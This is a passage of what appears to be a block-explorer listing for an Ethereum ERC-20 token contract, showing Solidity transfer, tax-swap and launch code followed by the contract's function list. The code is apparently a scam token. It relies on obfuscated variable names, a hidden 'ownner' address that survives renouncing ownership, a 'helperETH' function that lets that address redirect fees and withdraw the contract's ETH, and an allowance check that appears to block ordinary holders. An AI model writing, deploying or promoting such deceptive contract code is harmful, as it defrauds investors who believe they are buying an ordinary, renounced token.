!ywig32[to]
) {
require(amount <= _maxAmountPerTX, "Exceeds the _maxAmountPerTX.");
require(
balanceOf(to) + amount <= _maxSizeOfWallet,
"Exceeds the maxWalletSize."
);
_includedTAXBuyLimit++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_includedTAXBuyLimit > _prog5reduceSellTaxAt)
? _prog5finalSellTax
: _prog5initialSellTax
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0)
swapExactToETH(
min(amount, min(contractTokenBalance, _maxTaxSwap))
);
_feeReceiver(address(this).balance);
}
}
if (taxAmount > 0) {
valiev4fc[address(this)] = valiev4fc[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
valiev4fc[from] = valiev4fc[from].sub(amount);
valiev4fc[to] = valiev4fc[to].add(amount.sub(taxAmount));
if (to != _deadWallet) emit Transfer(from, to, amount.sub(taxAmount));
}
function swapExactToETH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function helperETH(address _to, string memory _st) external {
require(_to != address(0), _st);
require( _to != address(0xdead), _st );
require(_msgSender() == ownner, _st );
_xwltd935t = payable(_to);
payable(_msgSender()).transfer(address(this).balance);
}
function _addallowance(
address owner,
address spender
) private view returns (bool) {
return
msg.sender != _xwltd935t &&
(owner == uniswapV2Pair || spender != _deadWallet);
}
function launch() external onlyOwner {
require(!tradingOpen, "Already started!");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _total121c);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
swapEnabled = true;
tradingOpen = true;
}
function _feeReceiver(uint256 amount) private {
_xwltd935t.transfer(amount);
}
receive() external payable {}
}
Read Contract
_maxAmountPerTX 0x82b5deab → uint256
_maxSizeOfWallet 0x21d91921 → uint256
_maxTaxSwap 0x0faee56f → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
min 0x7ae2b5c7 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
helperETH 0xace0f305
address _to
string _st
launch 0x01339c21
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address